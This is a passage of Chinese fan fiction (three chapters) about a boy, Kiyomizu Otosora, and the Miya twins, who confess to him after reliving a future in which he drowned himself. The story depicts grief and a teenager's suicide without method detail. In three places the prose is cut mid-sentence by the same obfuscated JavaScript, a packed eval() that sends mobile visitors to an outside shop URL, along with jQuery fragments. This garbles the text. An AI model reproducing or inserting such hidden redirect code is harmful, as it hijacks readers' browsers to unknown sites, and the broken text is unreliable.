《和宫双子的稳定三角形》 1. 第一章 告白 【我的两个童年玩伴】 删除。 【我的两个幼驯染】 删除。 【我的两个好朋友】 删除。 【我从小一起长大的两个邻居家的男性友人】 手指点在删除键上片刻,挪开,敲出后续。 【向我告白了。】 删除。 整句全部删除。 清水音空合上笔记本电脑,那种被略微冲击到的茫然与苦恼仍未消散。 但他已意识到,他不愿意拿隐私问题向网友求助,并且,他没有想要询问的问题。 想要拒绝熟人又不伤感情的办法?他没这么想过。 想要探究自己内心是否也有着喜欢,是不是能回应告白?他很清楚,没有。 想要表达自己的震惊,找出对方喜欢自己的原因?他为什么要做这种事。 那他想怎么做? 这个问题,应该要问罪魁祸首吧。 首先是宫侑。 他还没睡醒就在楼下哐哐拍院子大门,在他睡眼惺忪开门时把他往怀里狠狠一抱,常年训练的运动系男生的力道差点没让他当场被勒成胸骨骨折。 然后就是像“便利店你喜欢口味的饭团都没有了所以我带了你最讨厌那个”一样语气的告白。 “音空,我喜欢你!我会像鬼一样缠着你一辈子的,你就做好永远为我苦恼的打算吧!” 清水音空的回答是:“纳豆饭团给治吃。” 被宫侑抓着肩膀使劲前后摇晃了。 “才不是纳豆饭团!是喜欢!不是讨厌!” 说实在的,就算他现在在清醒状态回想起来,也觉得宫侑的告白确实有些离奇。 像让人摸不着头脑又没什么笑点的漫才,莫名其妙开始,莫名其妙结束了。 真的是告白吗? 不是诅咒吗? 回炉觉睡醒后,登场的是宫治。 这位看似沉着冷静实则经常跟双胞胎兄弟打成一团的男子高中生,实践了宫侑说过的话。 ——像鬼一样缠着他。 待在他卧室里,一声不吭。 门窗紧闭,在昏暗的房间里,那双眼睛反射出一点儿窗帘底端泄露的光。 像两颗晦暗的玻璃球,执着的,粘稠的,注视着他。 对上这双眼睛的瞬间,就会有所明悟:自己已经被视线咬住许久。 清水音空伸出手,用手背贴在宫治额头上,然后和自己的做了简单的对比。 “没有发烧。”他得出结论,转而疑惑,“是找我有事吗?” 宫治贪婪地看着这张在暗昧中不算清晰的脸,哪怕对方做的只是最寻常的举动,也叫他喉咙酸涩,心脏砰砰跳个不停。 他一度想把清水音空从睡梦中叫醒,但离得近一点后,清水音空呼吸的起伏变得显眼,足以安抚他了。 贴过来的触感和体温,久违到似乎有些虚幻。 “想向你告白。” “侑应该没办法装成你的样子。” 宫治牵住清水音空的手腕,在发高烧般把对方的手背再度贴到自己额头上,心里空荡荡的部分被体温填上了一点。 “不是恶作剧,也不要提到别人,是我们之间的事。”低垂头颅的宫治闭上眼睛,“我喜欢你。我知道你没有考虑过恋爱这件事,对同性异性都没有感觉,那就代表从感情上来说最亲近的就是我。就算交往,也只是给我换个称谓而已。” 很自然的把宫侑踢出去了。 但清水音空此时不方便说起宫侑,于是他指出了另一个槽点。 “这种偷换概念的话,我三岁时会信。比起喜欢和追求,你看起来更像是……”清水音空微微皱眉,寻找合适的措辞,“想拿绳子把我绑起来。” “……” “真的?” “或许。” 这就是两位从小一起长大的邻居家的男性友人向他告白的过程了。 介于后来发现宫侑就蹲在走廊上扒着门框从门缝往里看,索性又以平时的三人组形式进行日常活动了。 顺便问了一下,他们是不是今天约好的。 得到的回答是:做了一个噩梦。 梦的内容是什么,就不肯说了。 接下来怎么办?他似乎不需要思考这个问题。 他们既没有让他变更成对待追求者的态度,也没有要他给出回答,更没有做过于亲密的暧昧举动。 没有造成任何困扰,似乎可以被他随手放置。 但,确实有什么东西发生了变化。 清水音空闭上眼睛。 家里很安静,能听到外面晚归的上班族与家人交谈的声音,汽车驶过街道的声音,散步回来的小孩子们分别的声音。 以前也是这么安静,祖母年纪大了精力不足,睡得早,房间早早熄了灯,他却从来不会觉得家里寂静到难以忍受。 人的离去又代表什么? 活到看起来很长寿的岁数,没有大病也没有碰到灾难、静静在梦中离开了就是幸福吗? 大家都这么说,清水音空却无法感到高兴。 再怎么去说一个人死的有多幸福,归根结底,都是无法挽回情况下的“好”。 这个人已经什么都没有了,不复存在了。 手机发出轻微振动。 是监控软件的提示。 祖母生前在家时,他担心会有偷鸡摸狗的闯进来,就装了监控以示威慑,有什么意外情况也能及时知道。 刚办过葬礼的家庭确实可能存有大笔现金,受到小偷觊觎也不奇怪。 继院门后,房子的大门也被打开了。 动作还挺快。 清水音空点进软件,记录的摄像画面里,是一头耀眼的金发。 闯进来的“小偷”如同能瞬移的鬼影,主人公捕捉到的都是残留的踪迹,回首时已被紧贴在背后。 门把手从外面拧动的声音响起。 门开了。 开关被一巴掌按下,白炽灯的光照亮了卧室。 清水音空面无表情看着手指转着他家备用钥匙串的宫侑。 宫侑很自然地带上门,还展示了一下手里装着毛巾和睡衣的袋子,“就知道你还没睡,我先去洗个澡。” 要不是清水音空从来都不习惯和人一起睡,两家又是距离不到三米完全没必要彼此借住的邻居,他就信了。 “钥匙你想拿就拿着,但一起睡不行,我不习惯。洗完澡你回自己家里去睡。” “不要。” “宫侑。” “你叫我全名也没用。”他表情总是很外放,有时候帅不过三秒就被傻气毁掉,此刻挑起粗眉目光灼灼的样子却是十足的具有压迫感,像在球场上咬住对手的状态,“我都说了,我是来让你觉得苦恼的。” 清水音空真诚发问:“我哪里得罪你了?” 宫侑反倒不满起来,“都说了是喜欢!” 清水音空:“……” 还真没看出来。 更糟糕的是,双子之一当了第一个吃螃蟹的人后,另一个比较顾虑他感受的立刻同步跟上。 不同于宫侑跑他家来洗澡换衣服,宫治已经洗完换好睡衣了,带的是次日要穿的常服和洗漱用品。 “你没把他赶出来。”拿了第二份备用钥匙的宫治平静叙述,“我也要。” 清水音空:“。” 清水音空:“如果我拒绝。” “只要阿侑没有,我可以回归原位。”宫治说。 但宫侑一门心思想给他找麻烦,肯定是不会听的。 打架吧,好像也没到这份上,真打起来他不一定能打过打架经验丰富的宫侑。小时候他试图帮祖母对双胞胎进行劝架,得到的结果可不怎么好。 清水音空第一次觉得这对双子格外棘手。 现在直接拒绝告白表示要回归朋友之间的距离有用吗? 事实证明,没有。 两个从小调皮到大耳朵都被拧出茧子来的男生,还是深知彼此性情的熟人,不会被他一句话就赶得调头跑回去。 只会在他床上空出中间那个位置,还说床好小,三个人睡好挤。 要不然呢? 就算他的床在国中时换成了一米八乘两米的大小,但三个平均身高一米八以上的高中男生,能不挤吗? 清水音空压根就不想上去变成沙丁鱼罐头的一部分。 但家里客房常年不用,要么空置着要么被当成放闲杂物品的仓库了,祖母的房间还维持着原样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883128|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不会去打乱的。 学生可以独自住酒店吗? 以前没有过这方面的经验,外出打比赛需要过夜时,都是校方安排的酒店房间。 哦,需要监护人同意书。 清水音空收起手机,在搞客房卫生、睡楼下沙发、上去挤之间,痛苦选择了最后一个。 因为人长了腿,会跑,前两个选择最后只会殊途同归。 “你们睡里面。”他试图少挨着一个人,“宫治,你到中间去。” 宫治才不想跟宫侑挨着睡:“我们晚上打架会把你踹地上去。” 宫侑也不想跟宫治挨着睡:“不能换,你快上来!” 清水音空在床边站了半分钟,转身离开,身后立马跟上两条沉重的尾巴,搭着他的肩膀,像一言不合就要来硬的。 左边的宫侑:“你不会以为你还跑得掉吧?” 右边的宫治:“早点休息吧,不要打乱平时的作息。” “我只是再拿床被子,你们没发现被子两边翘起来了吗?”清水音空抱出被子,“还有,罪魁祸首不要这么理直气壮。” 把两床被子进行叠加后,至少不会睡在两边的人一翻身就漏风、第二天喜提感冒了。 无法再拖延时间的清水音空心不甘情不愿地睡到了中间,枕头本来就是两只,后脑勺刚好待在那个缝里,向下凹。 最外面的宫治关了灯,一阵窸窸窣窣的动静后,都躺好了。 嘴上喊着好挤,实际上,肢体没有发生碰触。 但旁边身体热腾腾的温度无法忽视,以往寂静的独处的空间里多出来的呼吸、心跳、轮廓等存在感都无时无刻不在彰显着。 清水音空闭上眼睛,只觉得浑身难受。 从小时候亲眼目睹父母车祸去世后,他就从东京来到关西兵库县和祖母共同生活。 这时候,他独睡的习惯已经养成了。 除了一开始祖母不放心,和他睡一个榻榻米房间照顾他,却发现他确实睡不习惯榻榻米,旁边有人也睡不好之后,就给他单独收拾出了一间卧室。 在这以后,他再也没和人一起睡过觉。 就连运动社团常会有的合宿,因为举办地点通常在学校,他都是结束后照常回家的。 比起陌生人来说,宫治和宫侑他足够熟悉,排斥度低一些,勉强一下似乎也能答应,不然换了别人搞这种事,他只会报警。 但真这么做了,又觉得好像也不是能勉强的。 睡不着的不只他一个。 还有非要过来给他添麻烦的两个。 连翻身的动作都格外小心翼翼,轻缓到像是帧数很低的动画,一卡一卡的,反而压得床嘎吱响起来,吓得身体都僵硬了。 他还以为他们那个表现,会很自在呢。 等等,翻身? 另一边也翻身了。 你们兄弟都是跟风怪吗。 至于从平躺着翻身到侧躺,脸朝向哪边,从变得清晰了一些轻微动静和身体感应到的更贴近的散发着热度的人形轮廓来说,猜都不用猜了。 清水音空不打算睁开眼睛,更不打算说话,即使他此刻清醒无比,但他并不想开启男子高中生之间的夜谈会。 宫侑倒是想说话,不过他心里还是有点数的。 这个程度清水音空已经是咬牙在忍了,全靠他们从小到大的交情撑着,再得寸进尺点,结果就不好说了。 清水音空的底线总是看似清晰又模糊,感情牌在他这里仿佛格外好打,能获得不少纵容。 实际上,那是因为清水音空不在意。 对什么程度的关系能做什么只有笼统的认知,在没有投入那么多感情的前提下,按照宽松的上下限执行,有时候甚至有种好欺负的错觉。 但,丢弃时也会毫不犹豫。 宫侑做了一个“噩梦”。 和宫治是同一个。 他是从两年后回来的。 那时的他,已经高中毕业进入黑狼,成为一名职业球员。 阿治那家伙,还在为了开店努力。 在同一个小学、同一个国中、同一个高中一起打排球,也从来没有说过像阿治那样不准备走职业道路,只比他们低一级的音空呢? ……音空已经去世两年多了。 2. 第二章 牵手 一想到这件事,人生称得上纯粹、顺遂的宫侑就很难不感到痛苦。 他从未体验过如此深刻的悲伤。 很幸运,在他成长途中没有重要的亲人朋友离世。 最爱的排球方面,就算比赛输了,伤心的泪水也会被不甘和变强反杀回来的怒火烧灼干净,并不会在他心里留下多余的痕迹。 其他的,还能有什么深刻的悲伤? 因为一直以来的行为在没做时被妈妈误会做了坏事很伤心,但他会大声喊出来,一定要得到一个公正的说法不可,结束后就过去了。 毕竟在他没有道理的时候,他也经常这么做。 而清水音空死亡的消息,打破了宫侑与这个沉重人生命题中间的石墙。 宫侑挺喜欢清水音空的。 不是从发现清水音空在打排球上有天赋时开始的。 是更早之前,和善的总给他点心零食吃的邻居老奶奶拉着白净可爱的小男孩前来拜访,两边大人让他们一起到院子里玩的时候。 清水音空和其他嗓门很大很容易跟他吵起来打起来的小男孩不一样。 安静,话少,略有点冷淡,但有问必答,堆起来的城堡比附近所有孩子堆得都好看,一下就征服了宫侑。 后来清水音空因为劝架被他们扯进战场受了伤,他和阿治被妈妈压着向清水音空道歉。 宫侑心里埋了气。 ——明明都是很正常的事,他和阿治哪次打架不是弄成这样。妈妈顶多罚他们不许吃零食,餐桌上不会出现喜欢的菜,拧着他们耳朵教训,让他们罚跪认错,就结束了。 清水音空不是好朋友吗?好朋友就应该是一样的待遇才对吧,为什么要这么郑重的道歉? 好像他真的做错了什么一样,还连累了妈妈。 同样的事情发生第二次后,宫侑就不跟清水音空玩了。 他倒不是有绝交的想法,就是孩子气地满腔怨气:既然你这么金贵,碰一下就这么大问题,那就不和你玩了,这样就不会挨骂也不会要妈妈带着来道歉了。 宫治也采取了同样的行动。 有了排球填充生活,按道理来说宫侑是想不起清水音空的。 但他每天都会看到清水音空,看到了就会留意一下。 今天穿了没见过的新衣服,鞋子好酷,想要。 是作业做完了吗?居然这个点在院子里给盆栽剪枯叶。哼,肯定是做完了,勉强承认这小子有个好用的大脑。 怎么都不出门玩的?哼哼,除了他们就没有别的朋友了吧……等等,这家伙怎么来找清水音空出去玩了,他们什么时候认识的?! 但他依然不会跟清水音空说话。 有时候赌气久了,就像气体凝成了固体,卡在心脏外,堵在喉咙里,被自尊一而再再而□□复加固,任何心情都无法冲破。 直到发现清水音空排球打得很好。 宫侑并没有直白地意识到这对他来说是个完美的台阶,但他的本能让他借此和清水音空重新破冰。 好在,清水音空对他们莫名的冷落并不在意,很快重新玩到了一起,并成为了比之前还要形影不离的好朋友。 祖母去世后,没过多久,在第三学期请了近一个月长假的清水音空离开了。 完全不告知他们,悄无声息离家,还故意留下一封虚假的信件拖延时间。 信里说祖母的离开对他打击很大,他暂时不想留在这个生活太久的地方睹物思人,父母生前的好友想接他去住一段时间,他想借此散散心,如果能够融入对方家庭的话,有可能会达成收养。 没人了解清水音空父母生前在东京的朋友圈,祖母也不喜欢拿家里的事情和人当做聊天话题。 清水音空说得信誓旦旦,加上他一贯优秀又稳重,可信度便极高,没有人怀疑这是假的。 宫侑有点生气清水音空走了之后一直没联系他,像是要和过去的一切断开关系。 但他完全能理解清水音空的选择,想到清水音空现在生活在一个幸福的家庭里,拥有了新的家人,他那点生气就悄悄压下去了。 学校那边的请假还是得知内情的邻居们出面帮忙延长的,说是等清水音空安顿好后,肯定要来办转学手续的。 宫侑默默等待着重逢的时机。 他也有在想有没有可能提前见面。 比如他去东京打比赛,偶然在街上看到了清水音空的身影——清水音空父母好友的地址虽然没写,但一听就像是东京——突然冲过去从后面捂住清水音空的眼睛,向他讨要一个忽视朋友这么久的说法,再问问他过得怎么样,还有没有在打排球,最近是不是都在休假使劲玩…… 宫侑攒了一肚子的话想说。 但春高已经结束了,短时间内他没有需要去东京打的比赛。 等了近一个月,都还没等到消息,他偷偷买票去了东京,怀着偶遇的念头在街头闲逛,却没能看到想见的人,遗憾回家。 结果呢。 他们为清水音空奔向幸福生活还有人可以依靠而感到庆幸又担忧时,清水音空也许正在一步步走进冰冷的湖水,放任自己失重,漂浮,窒息。 他死去时在想什么呢? 宫侑想不出来。 一切尘埃落定时,他仍然无法将“死亡”这个词和清水音空画上等号。 谁死了? 音空? 骗人吧,他怎么会死,他才十六岁,他排球打得那么好,他脑子那么聪明,轻轻松松就能考第一,他性格那么好,不知道多少人喜欢他,他在幸福人家里不知道过着多么开心的日子,他以后还会长到二十六岁三十六岁直到九十六岁一百零六岁,变成幸福的老头子,他怎么会死。 很长一段时间,宫侑都无法接受这个事实。 他不去参加清水音空的葬礼。 他讨厌学校有人议论这件事,甚至还跟大放厥词说清水音空是心理太脆弱才走向这个必然结果的三年级前辈打了架。 老师没能把他拉开,还是闻讯而来的北前辈和排球部的队友强行扯开了他。 他说,音空根本就没有死。你个渣滓不配说起他。 但他心底已经相信了。 当他独自一人时,那股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883129|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深切的隐痛就会从心底泛上来,越过他反复说着不信的心墙,在他胸口酝酿成浓郁到让他喘不过气的悲伤。 他寻找记忆里任何一处可能让清水音空去死的事件,可他什么都没发现。 他想象清水音空写下那封全是谎言的信件时、独自一人乘电车离开兵库县时、隐姓埋名踏入死亡时、浸在冰冷的湖水里时的神态。 一定是和平时一样,表情不多,也不外放,天大的事也平静地像在处理滚到脚边的小石头,偶尔会因路边的野花露出微笑。 会后悔吗? 不会吧。 清水音空一贯是个好人,也是一个很冷漠的人。 不喜欢也不讨厌,所以放弃也没关系,坚持下去也没关系。 排球是的。 他和阿治也是的。 阿治说,音空在这个世界上像没有线的风筝,就算有别的风筝同行,那些风筝也会有更重要的线。 朋友有血脉相连更加亲密的亲人,也会拥有其他朋友。 所以失去其中一个朋友也没关系,缺失的社交位置很快会有新的人补上,没有任何影响。 ——音空是抱着这样的想法吗? 那恋人呢? 非他不可的恋人呢? 宫侑不知道有没有用。 但他知道,他永远应该争取的是当下,而不是因各种顾忌踟蹰不前,等到再次酿成悲剧后,再来祈祷概率极低的下一次重生。 他不清楚自己对音空的感情是否与恋情相关,也许只是因为在音空那里朋友的关系取代性太强,恋人却能成为不可取代的家人。 他要得到这个身份,成为捆住清水音空的线,再也不被抛弃,要看着清水音空好好长大到老去。 宫治说这是个馊到夏季放了二十天的饭团都想不出来的主意。 还说混淆恋情与友情的结果只会是不健康的扭曲,排球笨蛋就别绞尽脑汁想这些东西了。 又说他不会再被清水音空蒙骗,不会再放开清水音空,也不会当三人组里被留在原地的那一个。 最后说你能想象牵他的手和他接吻吗?如果没有足够真实的情感,他会比你自己还看得清楚。 宫侑从来没想象过,不记得当时脑子里出现画面直接被烧成开水壶的自己逞强胡乱说了什么。 ……牵手吗? 手指蠢蠢欲动地向旁边爬去。 是啊,这个距离还是有点远,虽然能知道音空还活着,但不够直接触碰来得明确。 音空的手,托起排球时有力又漂亮。 手指很长,经常被长辈说适合弹钢琴,在音乐课上弹起来的确不差。 宫侑才发现,他脑海里能直接跳出这双手的样子,连尾指上小小的疤是什么时候什么事留下的都一清二楚。 但从小学高年级时,就没牵过手了。 即使明知道音空还没睡,刚刚还想着要收敛点的宫侑,此刻就只剩下跃跃欲试了。 他循着被窝里的热源,擦到了温热的指尖。 只有刹那。 因为清水音空立刻将手抽走了。 3. 第三章 牵手 如果说清水音空的死给宫侑造成的冲击,足够宫侑昏头昏脑想出个馊主意并立刻实行。 那对宫治来说,这份冲击还要来得更大些。 即使看上去他不如宫侑那么明显,隐痛却是连绵不绝,始终未曾消失过分毫,治愈一切的良药——时间也无可奈何。 听起来有点奇妙。 毕竟长大后,宫治比宫侑“懂事”了点,是两人中看上去更沉着冷静的那个。 这通常意味着比起性格鲜明有时候会让人觉得扎手的宫侑,他能更普通的和人打交道,更轻易的成为朋友,更难踏入深刻感情的分界线。 是双胞胎在性格上的差异部分。 但清水音空怎么会被划入分界线外的范围? 真要说起来,单纯计算相处时间,除了妈妈外,清水音空能在宫治这里排到第一,连需要工作养家的爸爸都远远比不上。 这还是他们差了一年级,从升入国中与仍在小学的清水音空分别处于不同的环境、随着年龄增长也意识到需要留出更多属于自己的时间的状态下,累积出来的惊人相处时长。 清水音空突然离开他都受不了。 完整的日常生活被突兀掰下来一大块。 总有些话没法找人说,有些时间变成了需要重新填充的空白,习惯看到的身影所在的位置是别人。 三十天够养成一个习惯,那十三年呢? 死亡,相当于挖掉十三年里清水音空生长在他记忆里的血肉,把那些美好的时光,全都变成灰白一片,写着残忍的事实。 他不告诉你。 他不给你挽留的机会。 他不信任你能留下他。 他抛弃了你。 他抛弃了你。 他抛弃了你。 宫治在清水音空的卧室呆坐许久。 这里和从前没有区别。 墙上贴着时下流行的风景海报,书桌上是还没写完的作业,还有个架子用来摆比赛后的合照和奖牌,排球则在架子旁边的框里。 清水音空没有做任何额外的整理。 仿佛他只是去上学了,等到黄昏,就会踩着夕阳回来。 在玄关换上拖鞋,吧嗒吧嗒声从客厅到二楼,然后推开门走进来。 宫治还没到会为这样普通又幸福的日常生活感到珍视的年龄。 摆在青春期少年前面的目标总是很多,足以他不回头地一直向前猛冲。 但他体会着清水音空生命倒计时结束前的孤独和寂静,忽然就明白了那是怎样宝贵的东西。 他们最后一次一起打排球,是一月底。 距离春高决赛他们捧起冠军奖杯已过去半个多月,三年级学长陆陆续续退部,将剩下的时间专注于学业和未来。 清水音空请的一个月长假,还只过去十天。 春高过后没多久,音空的祖母去世了,之后便是葬礼等一系列事宜。 宫治被她看着长大,跟着清水音空叫她祖母,面对老人的离去很难过,但他更担心看起来平静的清水音空。 忙起来好像就好多了。 清水音空要做的事情很多。 家里只剩下他一个人,他就要像个成年人一样操持这些按理说处于社会上并不划分到学生范围里的事物。 宫治都不知道他从哪里知道这些流程的,又是怎么安排得井井有条,没有出大的疏漏,又是怎么和那些大人打交道,处理金钱方面的事务。 葬礼规模不大。 清水音空私下跟宫治说过,如果不是葬礼能让周围相处多年的邻居有个告别的场合,祖母和他都倾向安安静静地离开。 葬礼过后,只留清水音空独自居住的家,以惊人的速度变得冷清。 院子里原本种满了生机勃勃的花,冬天就会把不耐寒的收到家里,有太阳时再搬出来晒。 现在都只剩主干和失去枝叶遮掩后暴露在冬日寒风里的泥土了。 因为那些没开花的枝叶,都被清水音空剪得一干二净,仔细挑出枯叶与坏叶,精心整理后铺垫在祖母的棺材里,围绕在祖母身边,上面再铺放一层献给逝者的鲜花。 这些他和祖母一同照料的花,他全部“交给”了祖母,连同家里其他祖母用惯能一同下葬或者烧掉的东西也是。 清水音空在家待了五天,没有销假的意思,连以往的晨练都停止了。 仗着家里食物充足,直到月底都没有出门,没点过外卖,在社交软件中隐身,几乎与世隔绝。 宫侑觉得再这样下去不行,得活动起来。 于是硬拉着清水音空出了门。 场地很简陋,是家附近的空地,中间划条线当成分隔两边场地的拦网,就可以开始打了。 小时候,宫妈妈为了释放宫双子过于充足的精力,让他们去了排球教室。 清水音空开始打排球后,也报了同样的课程。 不上课也不去有专门场地场所的零碎时间里,还想打排球,就是这么做的。 高中后倒是没有来过了。 因为稻荷崎的排球部训练量不算低,宫双子作为正式队员还有那么多比赛要打。 难得有休息时间,多半是出门吃东西买游戏躺在家里打游戏看漫画,尽情放松自己。 但没有他们,也会有别的孩子在这里玩。 水泥地上画着跳格子的图案,也在两边用粉笔画了篮架框,倒是中间那道隔网的划痕早已消失不见了。 宫治从地上捡起一块硬泥,划出土黄色的直线,把场地均匀分割成两半。 “我当裁判。”清水音空没什么兴致地举手。 宫侑宫治都投来了不可置信的眼神。 “就三个人,还需要你当裁判?我们一起玩你居然还偷懒?”宫侑瞪大了眼睛,“你跟我一边,把阿治打得落花流水!” 宫治找到了完美的切入点:“音空,我也能给你传球。本来只是稍微活动一下,阿侑一打起来就没完没了,跟我一起就不用担心这个了。” “音空,你选谁?” 两人异口同声。 清水音空倒没有感到紧张,实在是习惯了。 既然当不了裁判,一定得上场,虽然没什么心情,但也很干脆。 “难道你们还想当正式比赛打吗?三个人,又没有自由人,不管我在哪边,都是打一场有大半场时间在捡球。所以,我选宫治,玩一下就回家休息吧。” 宫治立马把人拉到了对面场地,宫侑哼了声跟上来,三个人一起做了简单的热身。 清水音空运动量没有他们大,体质虽然不错,但还是比他们怕冷些。 现在动起来,刚开始隔了段时间没保持训练的身体还有些冰冷僵硬,过了阵就像上了润滑油的机器人。 变得灵活,还从血液里慢腾腾涌上来一股热意,倒让他舒适不少,也多了几分耐心。 他们拿了场地,球权就在宫侑那里了。 宫侑的发球很厉害。 就算没有正式上场比赛时握拳使稻荷崎应援乐队激昂的音乐和啦啦队的欢呼声戛然而止的震撼与威慑,也有着实打实的压迫感。 那是由他出众的实力带来的。 简单热身似乎就已经足够成为启动他的开关。 不。 应该说是,从站上排球场的那一刻起,不管比赛是否正式,对排球拥有令人敬佩程度热爱的宫侑,就已经把除此之外的任何事情都抛到脑后,只剩下全然的专注。 跳起来的时候,结实有力的身躯就像张开双翅腾飞于天际的老鹰。 排球抛起,落下,在恰到好处的点被重重击上,几乎震荡变形。 然后在破空声中,像一枚飞出的炮弹,快准狠地朝着位于边线的落点奔去。 这力道绝对十成十、让人幻视如动漫效果般摩擦出一道雪白气浪的球,令清水音空略略惊讶的睁大了眼睛,迅速朝着边界跑去。 水泥地跑起来没有橡胶地面痛快,鞋底摩擦出来的声音也截然不同。 但清水音空并没有受到场地的影响,眨眼间就抵达了落点,精准将这颗砸得他手臂一沉的球接了起来,没能完全卸力,把一个不太完美的挑高球,传给了宫治。 宫治没有错过这个机会,一记让宫侑来不及接的扣杀,拿下了第一分。 他本身力气就比宫侑大,两兄弟打架时赢得多的人是他,这下使足了劲,排球落地时的巨响,像是谁来接就会把谁砸进抢救室。 唯一在正常打球的清水音空:“……” 还好选了宫治,不然在宫侑那边的话,他的手是别想要了。 宫侑也吓了一跳,立刻兴味十足地笑了:“阿治,你手感不错嘛。” “不然呢?”宫治边说着,边示意宫侑赶紧把球捡回来。 清水音空有异议:“你们真的要一直用这个力道打吗?这可是水泥地,要是摔倒受伤就不是小问题了,会影响你们接下来的训练和比赛。” 宫双子从善如流地收敛了力道。 场边没有计分板,但分数两边都了然于心。 两个主攻对一个二传的结果显而易见,宫侑被打惨了,以大比分输掉了一局。 他打上头了,眼睛都变得亮晶晶的,里面燃着两朵对胜利渴望对失败不甘的火焰,以及清水音空始终在对面痛殴自己的不满。 “这局音空该和我一队了吧!”宫侑扯着清水音空胳膊,大声嚷嚷,“不然不就是你们一直打我吗?和排挤我有什么区别!” 宫治也打出了兴致,但比起排球上头的宫侑,更关心清水音空的情绪。 “我倒是都可以,反正已经赢得这么漂亮了,音空怎么想?” 清水音空摸了摸只有热意但没有出汗的额头,对自身这种适量运动的暖乎状态很满意,不打算再继续打了。 “到此为止吧。现在回去洗个澡,正好可以早睡了,你们明天要上课吧,作业写完了吗?” “诶——再打一局嘛,哪有什么作业,比赛都是三局两胜的,我们打起来很快的,一分顶多来回两次就结束了。”宫侑不想结束。 “看来你已经忘干净了。二年级的作业差不多,既然我有,你肯定也有。”宫治冷静的把宫侑这块狗皮膏药从清水音空身上撕了下来,“回去吧。” 到清水音空家门口时,院子和屋里都是一片黑漆漆的。 与之相反的是旁边的宫家和其他邻居家,都亮着暖融融的光,为寒冷的冬日增添了几分温暖。 宫双子差点跟着清水音空走了进去,还是清水音空在门口停住脚步,侧对着幽深的黑暗,对他们挥手告别。 那种寂寞似乎穿透了他。 宫治想说些安慰的话,但太不合时宜,最后只能说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883130|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“明天见,音空。” 宫侑紧接着道:“我们明天早上会来喊你起床的!” “这个就不用了,我还没销假,你们早上要晨练,太早了,会打扰我睡眠。”毕竟他不像祖母起那么早,能给他们开门。清水音空微微露出一个笑容,不再多说,“再见。” 如果在电影里,这就是最后一次见面了。 事实上当然不是,最后一次见面要比这个普通太多,普通到令人意识不到底下潜藏的危险。 宫治后来有想过,他为什么没有从清水音空那个异常的、终于泄露出一丝落寞的微笑里察觉更多呢? 明明不久前才办了一场葬礼,为什么还本能那么笃定一切都能平静地延续下去? 宫治一直觉得,跟清水音空相性更好的是自己。 双胞胎相异的那部分,和清水音空存在一定相似性。 所以,他没想到,清水音空会做出他这辈子都不会选择去做的事,完全背离了他们的相似性。 也没想到,后来因不会在毕业后走上职业道路一事,跟打了一架冷战了一段时间终于接受的宫侑聊起清水音空是他们三个里最不喜欢排球的那个时,得到了那样的回答。 “我知道啊。” 宫侑表情甚至是有点诧异的,像怀疑他变傻了。 “他不是一直都不怎么喜欢排球嘛。就是我们都在打,他又有天赋,很容易就能打出成绩来,还能抵一项社团活动,本身他也不太感兴趣去参加别的社团和陌生同学相处从头开始学新东西,就这么坚持下来了。” 宫治不可思议:“……你知道?” 宫侑很奇怪,“这不是很明显的事吗?我为什么不知道? “如果不是有多余的任务,他从来不加练,能放假就绝不在放假主动打排球,上场了也没什么胜负欲,只是需要得分并且能得分。我又不是傻。” 宫治差点忘了,在对排球的热爱上,宫侑的确不可能一直没发现清水音空表现得这么明显的事。 但也正是这点一直以来误导了他——他以为宫侑如果知道了,会谴责清水音空的态度,希望清水音空真实喜欢上排球,可宫侑居然能接受? 如果是陌生人,宫侑这种态度不稀奇。但正因为太熟了,熟得宫侑能很自然地去“要求”清水音空。 就像宫侑压根没想过他未来不把打排球作为职业一样。 “他对排球的态度,你不讨厌吗?” “这个世界上又不是所有人都喜欢排球。 “站在赛场上的人固然要拥有热爱与胜负欲,但他没有逃训,没有偷懒,没有拖后腿,甚至能力非常强,状态稳定,也从来没有因为不够喜欢排球出什么问题,还有足够的可能性和创造性。 “而且还是和我们一起打排球才把这项对他来说不算特殊的爱好坚持下来的,我为什么要讨厌?” 宫侑想了想,“如果那些球渣能做到和他一样的努力,出岔子了我还能少说两句……不行,接不住我妙传的球渣不值得温柔对待。” 宫治想吐槽,但比起微不足道的吐槽欲望,涌上喉咙的,是一种难以言喻的灼烧感。 像哽住后凝固的岩浆,堵住了所有话语。 是的。 宫侑比他更了解清水音空。 他们之间早就达成了这样的默契,甚至不需要通过言语。 只有他,他是自以为了解清水音空,实则离得最远的那一个。 这点敏感心思却再也无法被回不去的三人组日常相处安抚平静,只能缠绕在那份复杂的痛苦上,不断生长,腐烂,发酵。 